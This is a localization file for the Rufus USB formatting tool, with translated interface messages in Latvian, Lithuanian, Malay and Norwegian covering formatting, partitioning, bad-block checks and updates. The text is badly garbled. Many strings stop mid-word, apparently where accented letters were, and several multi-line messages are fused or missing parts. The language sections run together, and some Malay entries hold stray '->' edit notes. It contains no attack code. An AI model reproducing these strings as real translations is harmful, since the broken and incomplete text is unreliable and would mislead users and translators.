t MSG_194 "Nevar iel
t %s"
t MSG_195 "Izmantot %s faila(u) iek
t MSG_196 "SVAR
rta izmanto %d-bitu. "
t MSG_197 "Noteikts nestandarta sektoru izm
t MSG_198 "'Windows To Go' var tikt instal
t MSG_199 "Izv
lieties, ja Windows tiks instal
t MSG_200 "Izv
siet Windows tie
t MSG_201 "Atcel
t MSG_202 "Diska imid
t MSG_203 "K
t MSG_204 "Noteikts novecojis %s modulis"
t MSG_205 "Tiek izmantots imid
dains %s fails"
t MSG_207 "Jauns Disks"
t MSG_208 "Atrasta %d ier
t MSG_209 "Atrastas %d ier
t MSG_210 "Gatavs darbam"
t MSG_211 "Darb
t MSG_212 "K
t MSG_213 "Tiek start
t MSG_214 "K
t MSG_215 "Atv
rts %s"
t MSG_216 "Saglab
t MSG_217 "Format
t MSG_218 "Failu sist
mas izveide: Paveikts %d/%d"
t MSG_219 "NTFS labojums: Paveikts %d%%"
t MSG_220 "Format
ana (%s) - apr
tais laiks %d:d..."
t MSG_221 "Nosaukuma ieraksts (var aiz
t MSG_222 "Format
ana (%s)..."
t MSG_223 "NTFS labojums (Checkdisk)..."
t MSG_225 "Nepiecie
t MSG_226 "Eso
t MSG_227 "Eksist
t MSG_228 "Galven
t MSG_229 "Sada
t MSG_232 "Win7 EFI iel
t MSG_233 "Pabeig
t MSG_234 "Instal
jas Syslinux %s..."
t MSG_235 "Boj
tie sektori: %s %d/%d - %0.2f%% (%d/%d/%d k
t MSG_236 "Boj
t MSG_237 "Boj
ana ar 0xX"
t MSG_238 "Sada
as izveide (%s)..."
t MSG_239 "Sada
t MSG_240 "Lejupl
%s: Savienojums..."
t MSG_241 "Iel
t MSG_242 "K
t MSG_243 "Tiek p
t MSG_244 "Jaunin
t MSG_245 "Jaunin
t MSG_246 "Ir pieejama jaun
t MSG_247 "Nav atrasta jaun
t MSG_248 "Programmas re
t MSG_249 "K
t MSG_250 "%s iesl
t MSG_251 "%s izsl
t MSG_252 "Izm
t MSG_253 "Iek
t MSG_254 "Papla
t MSG_255 "NoDriveTypeAutorun p
t MSG_256 "Konstat
t MSG_257 "Joliet atbalsts"
t MSG_258 "Rock Ridge atbalsts"
t MSG_261 "Imid
t MSG_262 "ISO atbalsts"
t MSG_263 "Izv
t MSG_264 "Tiek dz
sta mape '%s'"
t MSG_265 "Noteikts VMWare disks"
t MSG_266 "Apvienotais UEFI/BIOS re
t MSG_267 "Pielietots Windows imid
t MSG_268 "Pielietots Windows imid
t MSG_269 "At
t MSG_270 "USB-atk
t MSG_271 "Kontrolsummu skait
t MSG_272 "Izskait
t MSG_273 "Main
t MSG_274 "Paman
t MSG_275 "Izv
"vai %s kop
, vai %s diska imid
"Ieteicams izmantot %s re
u %s re
t MSG_276 "Ierakst
t %s re
t MSG_277 "Ierakst
t MSG_278 "Iel
t MSG_279 "Neiel
t MSG_280 "Imid
t MSG_282 "Ekskluz
t MSG_283 "Neder
t MSG_284 "Iel
t MSG_285 "Iel
'%s'.\nTas ir neatpaz
t IDC_WINDOWS_INSTALL "Standartin
t IDC_WEBSITE "Spausk
t MSG_001 "Aptiktas kitas programos atvejis"
t MSG_002 "Vykdoma kita Rufus programa.\n"
RENGINYJE '%s' BUS SUNAIKINTI.\n"
t MSG_004 "Rufus naujini
t MSG_005 "Ar norite leisti Rufus tikrinti programos naujinius internete?"
t MSG_006 "U
t MSG_007 "At
t MSG_008 "Taip"
t MSG_010 "Rasta blog
t MSG_011 "Tikrinimas baigtas: rasta %d blog
" %d skaitymo klaid
\n %d ra
\n %d i
t MSG_012 "%s\nI
rasite:\n%s"
t MSG_013 "I
t MSG_014 "Kasdien"
t MSG_015 "Kas savait
t MSG_016 "Kas m
t MSG_017 "Pasirinktinai"
versija: %d.%d (s
ranka %d)"
t MSG_019 "Naujausia versija: %d.%d (s
t MSG_020 "baitai"
t MSG_026 "baitai"
t MSG_027 "kilobaitai"
t MSG_028 "megabaitai"
t MSG_029 "Numatytas"
t MSG_030 "%s (numatytas)"
t MSG_031 "%s skaidini
schema BIOS ar %s"
t MSG_032 "%s skaidini
t MSG_033 "%s skaidini
t MSG_034 "%d bandymas"
t MSG_035 "%d bandymai"
t MSG_036 "ISO atvaizdas"
t MSG_037 "Programa"
t MSG_038 "Nutraukti"
t MSG_039 "Vykdyti"
t MSG_040 "Atsi
t MSG_041 "Veiksmas at
t MSG_042 "Klaida"
t MSG_043 "Klaida: %s"
t MSG_044 "Failo atsisiuntimas"
t MSG_045 "USB saugyklos
t MSG_046 "%s (diskas %d) [%s]"
t MSG_047 "Keli skaidiniai"
t MSG_048 "Rufus - i
t MSG_049 "Rufus - at
t MSG_050 "S
t MSG_051 "Nenustatyta klaida formatuojant."
t MSG_052 "Negalima naudoti parinktos fail
t MSG_053 "Prieiga prie
t MSG_054 "Laikmena apsaugota nuo
t MSG_056 "Greitas formatavimas negalimas
t MSG_057 "Tomo
t MSG_059 "Pasirinktas klasterio dydis negalioja
t MSG_060 "Tomo dydis negaliojantis."
t MSG_062 "Gauta nepalaikoma komanda."
t MSG_063 "Atminties paskirstymo klaida."
t MSG_064 "Skaitymo klaida."
t MSG_065 "Ra
t MSG_067 "Nepavyko atverti laikmenos. Ji gali b
t MSG_068 "Klaida skaidant disk
t MSG_069 "Nepavyko nukopijuoti fail
t MSG_070 "At
t MSG_071 "Negalima prad
t MSG_072 "Blog
t MSG_073 "ISO atvaizdo per
t MSG_074 "ISO atvaizdo i
t MSG_075 "Negalima prijungti tomo."
t MSG_076 "Negalima papildyti/paruo
t MSG_077 "Negalima priskirti disko raid
t MSG_078 "Negalima prijungti GUID tomo."
t MSG_080 "Rufus aptiko, kad Windows vis dar i
su dideliais failais.\n\nMes patariame jums leisti Windows pabaigti, kad i
t MSG_081 "Nepalaikomas atvaizdas"
t MSG_082 "Arba
t MSG_083 "Pakeisti %s?"
t MSG_084 "Atrodo,
'%s' versij
"'%s' ten jau yra, jis bus panaudotas i
t MSG_085 "Siun
iu %s"
t MSG_086 "Nepasirinktas atvaizdas"
t MSG_087 "Pra
t MSG_088 "Atvaizdas per didelis"
t MSG_089 "Atvaizdas yra per didelis pasirinktai paskir
t MSG_090 "Nepalaikomas ISO"
t MSG_091 "Naudojant UEFI paskirties tip
t MSG_092 "Nepalaikoma fail
t MSG_093 "SVARBU:
t MSG_094 "Aptikta keletas skaidini
t MSG_095 "DD atvaizdas"
t MSG_096 "Pasirinkta fail
t MSG_097 "'%so' gali b
t MSG_098 "SVARBU: J
diegti 'Windows To Go', bet j
l to sistema 'Windows' grei
t MSG_099 "Fail
t MSG_101 "Tr
keliamus Windows 7 ir Windows Vista USB diskus. J
t MSG_103 "Atsi
sti %s?"
t MSG_104 "%s ar v
lesniam reikia, kad '%s' failas b
is failas didesnis nei 100 KB ir visada yra %s ISO atvaizduose, "
"'%s' bus ten, jis bus pakartotinai naudojamas automati
t MSG_105 "At
t MSG_106 "Pasirinkite katalog
t MSG_107 "Visi failai"
t MSG_108 "Rufus dienynas"
t MSG_109 "0xX (Diskas %d)"
t MSG_110 "MS-DOS negali
t MSG_111 "Nesuderinamas Klasterio dydis"
t MSG_112 "Dideli
yra %d:d, tuo metu eigos juosta gali atrodyti sustingusi. Pra
t MSG_113 "Didelis UDF tomas"
is atvaizdas naudoja Syslinux %s%s, bet
"Syslinux %s%s.\n\nKadangi naujos Syslinux versijos tarpusavyje nesuderinamos, ir n
"interneto ('ldlinux.sys' ir 'ldlinux.bss'):\n"t MSG_115 "Reikalingas atsisiuntimas"
is atvaizdas naudoja Grub %s bet
"Grub %s.\n\nKadangi skirtingos Grub versijos gali b
"('core.img') versijt MSG_150 "Paprastai saugiausias pasirinkimas. Bet jei turite UEFI kompiuter
"operacin
t MSG_151 "Naudokite
diegti operacin
t MSG_152 "Rekomenduojama parinktis
diegiant operacin
t MSG_153 "Testo
ablonas: 0xX"
t MSG_154 "Testo
ablonas: 0xX, 0xX"
t MSG_155 "Testo
ablonas: 0xX, 0xX, 0xX"
t MSG_156 "Testo
ablonas: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Nustato paskirties fail
t MSG_158 "Ma
t MSG_161 "Tikrinti
t MSG_162 "Nuimkite
t MSG_163 "Pa
t MSG_164 "B
t MSG_165 "Spauskite, kad pasirinktum
t MSG_166 "Pa
(sukuria autorun.inf)"
t MSG_168 "Bandyti maskuoti pirm
prireikti tik jei diegsite Windows XP ir bus daugiau nei vienas diskas"
t MSG_169 "Sukurti papildom
t MSG_171 "Prad
t MSG_172 "Licencijavimo informacija ir kreditai"
t MSG_173 "Spauskite pasirinkti..."
t MSG_174 "Rufus - patikima USB formatavimo priemon
t MSG_175 "Versija %d.%d (s
t MSG_176 "Lietuvi
kas vertimas: Gintaras Venslovas <gintaras.venslovas@gmail.com>"
t MSG_177 "D
t MSG_178 "Kitos autori
t MSG_179 "Naujini
t MSG_180 "Jei leisite
operacin
t MSG_182 "Programos, kuri
t MSG_184 "Asmeninio naudojimo statistikos generavimo tikslu mes galime saugoti surinkt
t MSG_185 "Atnaujinimo procesas:"
t MSG_186 "Rufus ne
t MSG_187 "Negaliojantis atvaizdas pasirinktai
t MSG_188 "Dabartinis atvaizdas neatitinka pasirinktos
t MSG_190 "Aptiktas nesuderinamas diskas"
t MSG_191 "Ra
t MSG_192 "Skaitymo bandymas"
t MSG_193 "Atsi
sta %s"
t MSG_194 "Nepavyko atsi
sti %s"
t MSG_195 "Naudojama
) %s versija"
t MSG_196 "SVARBU:
is diskas naudoja %d bait
t MSG_197 "Aptiktas nestandartinis sektoriaus dydis"
t MSG_198 "'Windows To Go' gali b
t MSG_199 "Rinkit
diegti Windows
t MSG_200 "Rinkit
, jei norite leisti Windows tiesiai i
t MSG_201 "At
t MSG_202 "Per
t MSG_203 "Nepavyko per
t MSG_204 "Aptiktas pasen
s %s"
t MSG_205 "Naudojamas atvaizdas: %s"
t MSG_206 "Tr
ksta %s failo"
t MSG_207 "Naujas tomas"
t MSG_210 "PASIRUO
t MSG_211 "At
t MSG_212 "NEPAVYKO"
t MSG_213 "Paleid
t MSG_214 "Nepavyko paleisti naujos programos"
t MSG_215 "Atidarytas %s"
t MSG_216 "I
saugotas %s"
t MSG_217 "Formatuojama: %0.1f%% baigta"
t MSG_218 "Kuriama fail
duotis %d/%d atlikta"
t MSG_219 "NTFS taisymas: %d%% baigta"
t MSG_220 "Formatuojama (%s) - numatoma trukm
t MSG_221 "Ra
t MSG_222 "Formatuojama (%s)..."
t MSG_223 "NTFS taisymas (disko tikrinimas)..."
t MSG_224 "I
t MSG_225 "U
t MSG_226 "Tiriami esami
t MSG_227 "U
t MSG_228 "Ra
t MSG_229 "Ra
t MSG_230 "Kopijuojami DOS failai..."
t MSG_231 "Kopijuojami ISO failai..."
t MSG_233 "Baigiama, pra
diegiama Syslinux %s..."
t MSG_235 "Blogi blokai: %s %d/%d - %0.2f%% (%d/%d/%d klaidos)"
t MSG_236 "Blogi blokai: tikrinama su atsitiktiniu
t MSG_237 "Blogi blokai: tikrinama su
ablonu 0xX"
t MSG_238 "Skaidoma (%s)..."
t MSG_239 "Trinami skaidiniai..."
t MSG_240 "Atsiun
iamas %s: Jungiamasi..."
t MSG_241 "Atsiun
t MSG_242 "Nepavyko atsi
t MSG_243 "Tikrinama, ar yra Rufus naujini
t MSG_244 "Naujiniai: negaliu prisijungti prie interneto"
t MSG_245 "Naujiniai: negaliu pasiekti versijos duomen
t MSG_246 "Yra nauja Rufus versija!"
t MSG_247 "Naujos Rufus versijos nerasta"
t MSG_248 "Programos registro raktai s
t MSG_249 "Nepavyko i
t MSG_251 "%s i
t MSG_252 "Dyd
t MSG_253 "Kiet
t MSG_254 "Priversti didel
t MSG_255 "NoDriveTypeAutorun bus i
t MSG_256 "Netikr
t MSG_257 "Joliet palaikymas"
t MSG_258 "Rock Ridge palaikymas"
t MSG_259 "Priversti naujintis"
t MSG_260 "NTFS glaudinimas"
t MSG_261 "Ra
t MSG_262 "ISO palaikymas"
t MSG_263 "Naudoti TIKRUOSIUS dyd
t MSG_264 "Trinamas aplankas '%s'"
t MSG_265 "VMWare disko aptikimas"
t MSG_266 "Dvigubas UEFI/BIOS re
t MSG_267 "Taikomas Windows atvaizdas: %0.1f%% baigta"
t MSG_268 "Taikomas Windows atvaizdas..."
t MSG_269 "I
t MSG_270 "USB derinimas"
t MSG_271 "Skai
t MSG_272 "Skai
t MSG_273 "Keisti programos kalb
t MSG_274 "Aptiktas ISOHybrid atvaizdas"
t MSG_275 "J
"%s (fail
imu arba %s (disko atvaizdo) re
%s, tam, kad j
imu %s.\n\n"
imu %s (rekomenduojama)"
imu %s"
t MSG_279 "Ne
t MSG_280 "Atvaizdo parinktis"
t MSG_281 "(Pra
t MSG_282 "I
t MSG_283 "Negaliojantis para
t MSG_284 "Atsi
t MSG_285 "Atsi
t IDC_WEBSITE "Klik di sini untuk ke laman sesawang Rufus"
t MSG_001 "Proses Rufus lain dikesan"
t MSG_002 "Terdapat aplikasi Rufus sedang berjalan.\n"
t MSG_003 "AMARAN: SEMUA DATA DI DALAM PERANTI '%s' AKAN DIPADAM.\n"
t MSG_004 "Dasar kemas kini Rufus"
t MSG_005 "Adakah anda mahu membenarkan Rufus menyemak untuk versi baharu dalam talian?"
t MSG_007 "batal"
t MSG_010 "Blok rosak dijumpai"
t MSG_011 "Semak selesai: %d blok rosak dijumpai\n"
" %d kesilapan membaca\n %d kesilapan menulis\n %d kesilapan korupsi\n"
t MSG_012 "%s\nLaporan lebih terperinci boleh dijumpai di:\n%s"
t MSG_013 "Tidak menyemak"
t MSG_017 "Tetapan sendiri"
t MSG_018 "Versi anda: %d.%d (Binaan %d)"
t MSG_019 "Versi terkini: %d.%d (Binaan %d)"
t MSG_020 "bait"
t MSG_026 "bait"
t MSG_027 "kilobait"
t MSG_028 "megabait"
t MSG_029 "lalai"
t MSG_030 "%s (Lalai)"
t MSG_031 "%s skema partisyen untuk BIOS dan %s"
t MSG_032 "%s skema partisyen untuk BIOS"
t MSG_033 "%s skema partisyen untuk UEFI"
t MSG_034 "%d kali lulus"
t MSG_035 "%d kali lulus"
t MSG_036 "Imej ISO"
t MSG_039 "Mula"
t MSG_040 "Muat Turun"
t MSG_042 "Kesilapan"
t MSG_043 "Kesilapan: %s"
t MSG_044 "Muat turun fail"
t MSG_045 "Peranti storan USB (Generik)"
t MSG_046 "%s (Cakera %d) [%s]"
t MSG_047 "Beberapa Partisyen"
t MSG_048 "Rufus - 'Flush' penimbal"
t MSG_049 "Rufus - Dibatalkan"
t MSG_050 "Berjaya."
t MSG_051 "Kesilapan yang tidak dapat ditentukan ketika memformat."
t MSG_052 "Tidak boleh menggunakan sistem fail yang dipilih untuk media ini."
t MSG_053 "Akses kepada peranti dinafikan."
t MSG_054 "Tidak boleh menulis data ke peranti (Dilindungi)"
t MSG_055 "Peranti ini digunakan oleh proses lain. "
t MSG_056 "Format pantas tidak boleh digunakan pada peranti ini."
t MSG_057 "Label jilid tidak sah."
t MSG_058 "Pengendali peranti tidak sah."
t MSG_059 "Saiz gugusan yang dipilih tidak boleh digunakan pada peranti ini."
t MSG_060 "Saiz jilid tidak sah."
t MSG_061 "Sila masukkan media boleh alih ke dalam pemacu."
t MSG_062 "Arahan yang tidak disokong diterima."
t MSG_063 "Kesilapan peruntukkan memori."
t MSG_064 "Kesilapan membaca."
t MSG_065 "Kesilapan menulis."
t MSG_066 "Kegagalan memasang"
t MSG_067 "Media tidak boleh dibuka. Ia mungkin digunakan dalam proses yang lain. "
t MSG_068 "Masalah semasa pembahagian pemacu."
t MSG_069 "Tidak boleh meyalin fail kepada pemacu."
t MSG_071 "\"Bebenang\" tidak boleh dimulakan'."
t MSG_072 "Penyemakan blok rosak tidak dapat diselesaikan."
t MSG_073 "Kegagalan imbasan imej ISO."
t MSG_074 "Pengekstrakan imej ISO gagal."
t MSG_075 "Tidak dapat melekap semula jilid."
t MSG_076 "Tidak dapat 'patch'/menyediakan fail untuk boot."
t MSG_077 "Tidak dapat memperuntukkan huruf untuk pemacu."
t MSG_078 "Tidak boleh lekap jilid GUID."
t MSG_079 "Peranti ini tidak sedia untuk digunakan"
t MSG_080 "Rufus mengesan bahawa Windows masih lagi menarik penimbal ke dalam peranti USB.\n\n"
"Bergantung kepada kelajuan peranti USB anda, operasi ini mungkin mengambil masa yang amat lama."
"Terutamanya untuk fail besar .\n\nKami cadangkan anda biarkan Windows tamat dahulu untuk mengelakkan korupsi."
t MSG_081 "ISO tidak disokong" -> "Imej tidak disokong"
t MSG_082 "Imej ini sama ada tidak boleh boot, atau ia menggunakan kaedah boot atau mampatan yang tidak disokong oleh Rufus..."
t MSG_083 "Gantikan %s?"
t MSG_084 "Imej ISO ini menggunakan versi '%s' yang telah lapuk.\n"
"'%s' , ia akan digunakan secara automatik."
t MSG_085 "Muat turun %s"
t MSG_086 "Tiada imej yang dipilih"
t MSG_087 "Sila klik pada butang cakera untuk memilih imej yang boleh boot, "
t MSG_088 "Imej terlalu besar"
t MSG_089 "Imej ini terlalu besar untuk sasaran yang dipilih."
t MSG_090 "ISO tidak disokong"
t MSG_091 "Apabila menggunakan jenis sasaran UEFI , hanya imej boot jenis EFI sahaja disokong. "
t MSG_092 "Sistem fail tidak disokong"
t MSG_093 "PENTING: PERANTI INI MEMPUNYAI BEBERAPA PARTISYEN!!\n\n"
"Ini mungkin termasuk partisyen/jilid yang tidak disenaraikan atau tidak boleh dilihat dari Windows. "
t MSG_094 "Beberapa partisyen dikesan"
t MSG_095 "DD Imej"
t MSG_097 "'Windows To Go' hanya boleh digunakan jika sistem fail adalah NTFS."
t MSG_099 "Had sistem fail"
t MSG_100 "Imej ISO ini mengandungi fail yang lebih besar daripada 4GB "
t MSG_101 "Tiada sokongan WIM"
t MSG_102 "Platform anda tidak boleh mengekstrak fail daripada arkib WIM. Ini diperlukan "
"untuk mencipta cakera boot EFI Windows 7 dan Windows Vista. Anda boleh membaikinya dengan "
t MSG_103 "Muat turun %s?"
t MSG_104 "%s atau kemudian memerlukan fail '%s' di komputer anda.\n"
"Oleh sebab fail tersebut lebih besar daripada 100 KB dan sentiasa ada dalam imej %s, "
"'%s' ada di sana, ia akan digunakan semula secara automatik.\n"
t MSG_105 "Pembatalan boleh menyebabkan peranti ini TIDAK BOLEH DIGUNAKAN SEMULA.\n"
t MSG_106 "Sila pilih folder"
t MSG_107 "Semua fail"
t MSG_109 "0xX (Cakera %d)"
t MSG_110 "MS-DOS tidak boleh boot daripada cakera yang menggunakan saiz gugusan 64 kilobait.\n"
t MSG_111 "Saiz gugusan tidak sesuai"
t MSG_112 "Pemformatan jilid UDF yang besar mengambil masa yang amat lama. Pada kelajuan USB 2.0 anggaran masa pemformatan "
"adalah %d:d, di mana bar kemajuan akan kelihatan seperti ia tidak bergerak. Sila tunggu"
t MSG_113 "Jilid UDF besar"
t MSG_114 "Imej ini menggunakan Syslinux %s%s tetapi aplikasi ini hanya mempunyai fail pemasangan untuk"
"Syslinux %s%s.\n\nOleh kerana versi-versi baharu Syslinux tidak serasi dengan satu sama lain, maka tidak"
t MSG_115 "Muat turun diperlukan"
t MSG_150 "Biasanya pilihan ini paling selamat. Namun, jika anda ada komputer UEFI dan mahu "
t MSG_151 "Gunakan ini jika anda mahu memasang OS dalam mod EFI, tetapi perlukan akses kepada "
"kandungan USB daripada Windows XP"
t MSG_152 "Pilihan yang disyorkan untuk memasang OS dalam mod EFI dan apabila "
"akses USB tidak diperlukan unuk Windows XP "
t MSG_153 "Uji corak: 0xX"
t MSG_154 "Uji corak: 0xX, 0xX"
t MSG_155 "Uji corak: 0xX, 0xX, 0xX"
t MSG_156 "Uji corak: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Menetapkan sistem fail sasaran"
t MSG_158 "Saiz minima satu blok data akan gunakan dalam sistem fail"
t MSG_159 "Gunakan ini untuk tetapkan label cakera\nHuruf antarabangsa boleh digunakan"
t MSG_160 "Togel pilihan lanjutan"
t MSG_161 "Semak peranti untuk blok rosak menggunakan corak ujian"
t MSG_162 "Jangan tanda kotak ini untuk menggunakan kaedah pemformatan \"perlahan\""
t MSG_163 "Tanda kotak ini jika anda mahu membuat cakera USB boot"
t MSG_164 "Kaedah yang digunakan untuk membuat cakera boot"
t MSG_165 "Klik untuk memilih imej..."
t MSG_166 "Klik kotak ini untuk membenarkan paparan label antarabangsa "
"dan menetapkan ikon cakera (akan membuat fail autorun.inf)"
t MSG_167 "Memasang MBR yang membenarkan pilihan boot dan mampu menyamar ID BIOS USB"
t MSG_168 "Cuba menyamarkan cakera USB boot (biasanya 0x80) sebagai cakera lain.\n"
"Ini hanya diperlukan jika anda memasang Windows XP dan mempunyai lebih daripada satu cakera"
t MSG_169 "Ciptakan partisyen tambahan tersembunyi dan cuba melaraskan sempadan partisyen.\n"
t MSG_170 "Membolehkan penyenaraian pagaran cakera keras USB. GUNAKAN ATAS RISIKO SENDIRI!!!"
t MSG_171 "Mulakan operasi pemformatan.\nIni akan MEMADAMKAN semua data pada sasaran!"
t MSG_172 "Maklumat pelesenan dan penghargaan"
t MSG_174 "Rufus - Utiliti pemformatan USB yang dipercayai"
t MSG_176 "Terjemahan Bahasa Malaysia:\\line\n"
"Muhammad Aman <mailto:aman.tifli@gmail.com>\\line\n"
"VGPlayer <mailto:razman90a@yahoo.com.my>"
t MSG_177 "Laporkan masalah atau cadangan penambahbaikan di:"
t MSG_178 "Hak cipta tambahan:"
t MSG_179 "Polisi kemaskini:"
t MSG_180 "jika anda pilih untuk membenarkan aturcara ini menyemak untuk versi baru, "
t MSG_181 "Versi dan kerangka sistem operasi"
t MSG_182 "Versi aplikasi yang anda gunakan"
t MSG_183 "Alamat IP anda"
t MSG_184 "Untuk tujuan menjana statistik penggunaan peribadi , kami mungkin menyimpan maklumat yang dikumpulkan, "
t MSG_185 "Proses mengemas kini:"
t MSG_186 "Rufus tidak memasang atau menjalankan servis di latar belakang. Oleh itu, semakan kemas kini hanya dijalankan apabila aplikasi utama berjalan.\\line\n"
t MSG_187 "Imej tidak sah untuk pilihan boot yang dipilih"
t MSG_188 "Imej
t MSG_189 "Imej ISO ini tidak serasi dengan sistem fail yang dipilih"
t MSG_190 "Pemacu tidak serasi dikesan"
t MSG_191 "Melepasi tulisan"
t MSG_192 "Melepasi bacaan"
t MSG_193 "Muat turun %s"
t MSG_194 "Tidak boleh muat turun %s"
t MSG_195 "Menggunakan %s fail versi dibenam"
t MSG_197 "Saiz sektor bukan standard dikesan"
t MSG_200 "Pilih ini jika anda mahu untuk menjalankan Windows secara langsung dari peranti dipilih."
t MSG_201 "Sedang membatalkan - Sila tunggu..."
t MSG_202 "Mengimbas imej..."
t MSG_203 "Imbasan imej gagal"
t MSG_204 "%s lapuk dikesan"
t MSG_205 "Menggunakan ISO: %s" -> "Menggunakan imej: %s"
t MSG_206 "Tidak menjumpai fail %s"
t MSG_207 "Jilid baharu"
t MSG_208 "%d peranti dijumpai"
t MSG_209 "%d peranti dijumpai"
t MSG_210 "SELESAI" -> "SEDIA".
t MSG_211 "DIBATALKAN"
t MSG_212 "GAGAL"
t MSG_213 "Melancarkan aplikasi baru..."
t MSG_214 "Gagal untuk melancarkan aplikasi baru"
t MSG_215 "%s dibuka"
t MSG_216 "%s disimpan"
t MSG_217 "Pemformatan: %0.1f%% selesai"
t MSG_218 "Mencipta sistem fail: Tugas %d/%d selesai"
t MSG_219 "Pembaikian NTFS: %d%% selesai"
t MSG_220 "Pemformatan (%s) - Jangka masa anggaran %d:d..."
t MSG_221 "Menetapkan label (Ini mungkin mengambil sedikit masa)..."
t MSG_222 "Pemformatan (%s)..."
t MSG_223 "Pembaikian NTFS (Periksa cakera)..."
t MSG_224 "Memadam struktur MBR/PBR/GPT..."
t MSG_225 "Meminta akses cakera..."
t MSG_226 "Menganalisis rekod boot sedia ada..."
t MSG_227 "Menutup jilid sedia ada..."
t MSG_228 "Menulis \"Rekod master boot\"..."
t MSG_229 "Menulis rekod boot partisyen..."
t MSG_230 "Menyalin fail DOS..."
t MSG_231 "Menyalin fail ISO..."
t MSG_232 "Persediaan boot EFI Win7 (ini mungkin mengambil sedikit masa)..."
t MSG_233 "Menyiapkan, sila tunggu..."
t MSG_234 "Memasang Syslinux %s..."
t MSG_235 "Blok rosak: MELEPASI %d/%d - %0.2f%% (%d/%d/%d kesilapan)" -> "Blok rosak: %s %d/%d - %0.2f%% (%d/%d/%d kesilapan)"
t MSG_236 "Blok rosak: menguji dengan corak rawak"
t MSG_237 "Blok rosak: Menguji dengan corak 0xX"
t MSG_238 "Mempartisyenkan (%s)..."
t MSG_239 "Memadam partisyen..."
t MSG_240 "Memuat turun %s: menyambung ke internet..."
t MSG_241 "memuat turun: %0.1f%%"
t MSG_242 "Gagal memuat turun fail."
t MSG_243 "Memeriksa untuk kemas kini Rufus..."
t MSG_244 "Kemas kini: Tidak dapat menyambung ke internet"
t MSG_245 "Kemsa kini: Tidak dapat mengakses data versi"
t MSG_246 "Versi baru Rufus boleh didapati!"
t MSG_247 "Tiada versi baru Rufus didapati"
t MSG_248 "Kekunci daftar aplikasi berjaya dipadam"
t MSG_249 "Gagal memadam kekunci daftar aplikasi"
t MSG_250 "%s dibolehkan"
t MSG_251 "%s tidak dibolehkan"
t MSG_252 "Menyemak saiz"
t MSG_253 "Pengesanan cakera tetap" -> "Pengesanan cakera keras"
t MSG_254 "Memaksa pemformatan FAT32 besar"
t MSG_255 "NoDriveTypeAutorun akan dipadam apabila keluar"
t MSG_256 "Pengesanan cakera palsu"
t MSG_257 "Sokongan Joliet"
t MSG_258 "Sokongan Rock Ridge"
t MSG_259 "Paksa kemas kini"
t MSG_260 "Mampatan NTFS"
t MSG_261 "Menulis imej: %0.1f%% selesai"
t MSG_262 "Sokongan ISO"
t MSG_263 "Guna saiz seunit yang BETUL"
t MSG_264 "Memadam direktori '%s'"
t MSG_265 "Pengesanan cakera VMWare"
t MSG_266 "Mod dwi UEFI/BIOS"
t MSG_267 "Menggunakan imej Windows: %0.1f%% selesai"
t MSG_268 "Menggunakan imej Windows..."
t MSG_269 "Mengekalkan cap masa"
t MSG_270 "Nyahpijat USB"
t MSG_271 "Mengira semak tambah imej: %0.1f%% selesai"
t MSG_272 "Mengira semak tambah MD5, SHA1 dan SHA256 imej dipilih"
t MSG_273 "Menukar bahasa aplikasi"
t MSG_274 "Imej ISOHybrid dikesan"
t MSG_275 "Imej yang anda telah pilih adalah imej 'ISOHybrid'. Ini bermaksud ia boleh ditulis sama ada dalam "
"%s mod (salinan fail) atau %s mod (imej cakera).\n"
"Rufus galakkan menggunakan mod %s, jadi anda selalu mempunyai akses penuh ke pemacu selepas menulisnya.\n"
"Bagaimanapun, jika anda menghadapi isu-isu semasa boot, anda boleh cuba menulis imej ini lagi dalam mod %s.\n\n"
t MSG_276 "Menulis dalam mod %s (Digalakkan)"
t MSG_277 "Menulis dalam mod %s"
t MSG_278 "Jenis boot"
t MSG_279 "Tidak boleh boot"
t MSG_280 "Pilihan imej"
t MSG_281 "(Sila pilih satu imej)"
t MSG_282 "Penguncian pemacu USB eksklusif"
t MSG_283 "tandatangan tidak sah"
t MSG_284 "'Executable' yang dimuat turun kehilangan tandatangan digital."
t MSG_285 "'Executable' yang dimuat turun ditandatangani oleh '%s'.\nIni bukannya tandatangan yang kami kenal dan boleh "
t MSG_286 "Mensifarkan pemacu: %0.1f%% selesai"
t IDC_WINDOWS_INSTALL "Standard Windows installasjon"
m IDC_NBPASSES 10,0
t IDC_WEBSITE "Klikk her for
t MSG_001 "Annen forekomst oppdaget"
t MSG_002 "Annen Rufus utgave kj
t MSG_003 "ADVARSEL: ALLE DATA P
STASJON '%s' VIL BLI
fortsette denne operasjonen, klikk OK. For
t MSG_004 "Rufus oppdaterings politikk"
t MSG_005 "Vil du tillate at Rufus sjekker oppdateringen online?"
t MSG_006 "Lukk"
t MSG_007 "Avbryt"
t MSG_009 "Nei"
t MSG_010 "D
t MSG_011 "Sjekk fullf
rt: %d d
" %d Lese feil\n %d Skrive feil\n %d Korrupte feil\n"
t MSG_012 "%s\nA Mer detaljert rapport kan bli funnet her:\n%s"
t MSG_013 "Deaktivert"
t MSG_014 "Daglig"
t MSG_015 "Ukentlig"
t MSG_017 "Bruker"
t MSG_018 "Din versjon: %d.%d (Utgave %d)"
t MSG_019 "Siste versjon: %d.%d (Utgave %d)"
t MSG_031 "%s partisjon skjema for BIOS eller %s"
t MSG_032 "%s partisjon skjema for BIOS"
t MSG_033 "%s partisjon skjema for UEFI"
t MSG_034 "%d Passering"
t MSG_035 "%d Passeringer"
t MSG_036 "ISO Bilde"
t MSG_037 "Applikasjon"
t MSG_038 "Avbryt"
t MSG_039 "Kj
t MSG_040 "Last ned"
t MSG_041 "Operasjon avbrutt av bruker"
t MSG_042 "Feil"
t MSG_043 "Feil: %s"
t MSG_044 "Fil ned lasting"
t MSG_045 "USB Lagrings enhet (Generisk)"
t MSG_047 "Flere partisjoner"
t MSG_048 "Rufus - T
t MSG_049 "Rufus - Avbryter"
t MSG_050 "Suksess."
t MSG_051 "Ubestemmelig feil under formateringen."
t MSG_052 "Kan ikke bruke det valgte filsystem for dette mediet."
t MSG_053 "Ikke tilgang til denne enheten."
t MSG_054 "Mediet er skrive beskyttet."
t MSG_055 "Enheten brukes av en annen prosess. "
t MSG_056 "Hurtigformatering er ikke tilgjengelig for denne enheten."
t MSG_057 "Volum navnet er ugyldig."
t MSG_058 "Enhets h
t MSG_059 "Den valgte cluster st
t MSG_060 "Volumst
t MSG_061 "Vennligst sett inn et media i stasjonen."
t MSG_062 "Ust
t MSG_063 "Minne tildelingsfeil."
t MSG_064 "Lesefeil."
t MSG_065 "Skrivefeil."
t MSG_066 "Installasjonsfeil"
